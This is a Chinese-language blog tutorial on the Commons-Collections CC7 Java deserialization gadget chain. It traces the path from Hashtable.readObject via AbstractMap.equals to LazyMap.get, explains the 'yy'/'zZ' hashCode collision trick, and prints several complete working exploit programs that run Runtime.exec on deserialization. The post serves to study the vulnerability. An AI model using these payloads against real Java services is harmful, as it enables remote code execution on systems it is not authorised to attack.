Java反序列化Commons-Collections篇08-CC7链
Drunkbaby Lv6

CC7链

Java 反序列化 Commons-Collections 最终篇 CC7 链

0x01 前言

CC7 的链子也是和 CC5 类似,后半条链子也是 LazyMap.get() 的这条链子。

  • 最后一篇了,建议师傅们多尝试自己手写 EXP

0x02 CC7 链分析

  • CC7 链用流程图表示如下

后半条链和 CC1 是一样的,前半条链子需要我们自己重新写一遍。如果是逆向分析的话,还是有点难度的,所以还是直接看 yso 官方的链子。

  • 前半条链子的入口类是 Hashtable,我们跟进去看一下。

Hashtable 的入口类 readObject() 方法调用了一个 reconstitutionPut() 方法。

继续 reconstitutionPut() 方法,跟进之后我们看到 reconstitutionPut() 方法调用了 equals() 方法,当然它也调用了 hashCode() 方法,如果是 hashCode() 这里走的话,又回到我们 CC6 的链子了,我们今天主看 CC7 的。

接下来是 equals() 这个方法,因为要找的话实在是太多了,直接全局搜索,定位到 AbstractMapDecorator 这个类中。

这个类是继承了 map 接口,因为它是 CC 包里面的 Map 类,并且能够调用父类 Map,所以把它作为链子的一部分。但是 Map 是一个接口,我们需要去找 Map 的实现类。

  • 最终在 AbstractMap 类中的 equals() 方法中发现其调用了 get() 方法。

现在前半条链子分析完毕了,我们开始写 EXP

0x03 CC7 EXP 编写

1. LazyMap.get() EXP

  • 还是先复制一下后半段的链子,如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

// LazyMap.get 后半条链子的 EXPpublic class LazyMapEXP {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

Class<LazyMap> lazyMapClass = LazyMap.class;
Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
lazyGetMethod.setAccessible(true);
lazyGetMethod.invoke(decorateMap, chainedTransformer);
}
}

哦对提一嘴,后续运行的时候那段反射是要删掉的,写这段反射只是为了证明一下我们现在的 EXP 能够行得通。

2. AbstractMap.equals() EXP

这里的 AbstractMap 不能进行序列化,所以这一段的 EXP 我没有想到该怎么样编写比较合适,就直接看最后的 EXP 吧。

3. 结合入口类编写 EXP

这里对传进的 Entry 对象数组进行了循环,逐个调用e.key.equals(key),这里传进去的参数key如果是我们可控的,那么AbstractMap.equals()中的m就是我们可控的。

  • 从本质上来说,我们需要在入口类这里传进去恶意的 key,接着调用 key.equals() 即可。

这一段传入恶意 key 应当如此

1
2
Hashtable hashtable = new Hashtable();  
hashtable.put(decorateMap, "Drunkbaby");

现在我们直接进行序列化反序列化即可,EXP 如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

// AbstractMap 的 EXPpublic class AbstractMapEXP {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap, "Drunkbaby");

serialize(hashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

但是运行却无法弹出计算器,这里尝试打断点调试一下。

4. 调试与编写 EXP

  • 这里我把断点打在了 AbstractMap.equals() 的地方,结果发现居然没有执行到 .equals() 这个方法,去看一看 yso 的链子是怎么写的。

yso 这里的链子比我们多了一个 map,而且将两个 map 进行了比较,一看到这个就明白了。

  • 为什么要调用两次 put()?

我们需要调用的 e.key.equal() 方法是在 for 循环里面的,需要进入到这 for 循环才能调用。

HashtablereconstitutionPut() 方法是被遍历调用的,

第一次调用的时候,并不会走入到 reconstitutionPut() 方法 for 循环里面,因为 tab[index] 的内容是空的,在下面会对 tab[index] 进行赋值。

  • 为什么调用的两次put()其中map中key的值分别为yy和zZ?

第二次调用 reconstitutionPut() 进入到 for 循环的时候,此时 e 是从 tab 中取出的 lazyMap1 ,然后进入到判断中,要经过 (e.hash == hash) 判断为真才能走到我们想要的 e.key.equal() 方法中。这里判断要求取出来的 lazyMap1 对象的hash值要等都现在对象也就是 lazyMap2 的hash值,这里的hash值是通过 lazyMap 对象中的 key.hashCode() 得到的,也就是说 lazyMap1 的 hash 值就是 "yy".hashCode() ,lazyMap2 的 hash 值就是 "zZ".hashCode() ,而在 java 中有一个小 bug:

1
"yy".hashCode() == "zZ".hashCode()

yyzZhashCode() 计算出来的值是一样的。正是这个小 bug 让这里能够利用,所以这里我们需要将 map 中 put() 的值设置为 yyzZ,才能走到我们想要的 e.key.equal() 方法中。

  • 为什么在调用完 HashTable.put() 之后,还需要在 map2 中 remove() 掉 yy?

这是因为 HashTable.put() 实际上也会调用到 equals() 方法:

当调用完 equals() 方法后,LazyMap2 的 key 中就会增加一个 yy 键:

这就不能满足 hash 碰撞了,构造序列化链的时候是满足的,但是构造完成之后就不满足了,那么经过对方服务器反序列化也不能满足 hash 碰撞了,也就不会执行系统命令了,所以就在构造完序列化链之后手动删除这多出来的一组键值对。

现在我们的 EXP 是这样的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

// AbstractMap 的 EXPpublic class AbstractMapEXP {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();
Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
decorateMap1.put("yy", 1);
Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap1, 1);
hashtable.put(decorateMap2, 1);
decorateMap2.remove("yy");

serialize(hashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

现在执行的话会跳出两个计算器,在序列化的时候会跳出一个,所以我们要先将序列化的这个过程赋为常数,让其反序列化的时候弹出计算器。

最终 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

// AbstractMap 的 EXPpublic class AbstractMapEXP {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();
Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
decorateMap1.put("yy", 1);
Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap1, 1);
hashtable.put(decorateMap2, 1);
Class c = ChainedTransformer.class;
Field field = c.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
decorateMap2.remove("yy");

serialize(hashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

0x04 小结

还是要懂开发,不然挺难的。

像 equal 这个方法,如果不知道是怎么一回事挺难利用,冲冲冲

 评论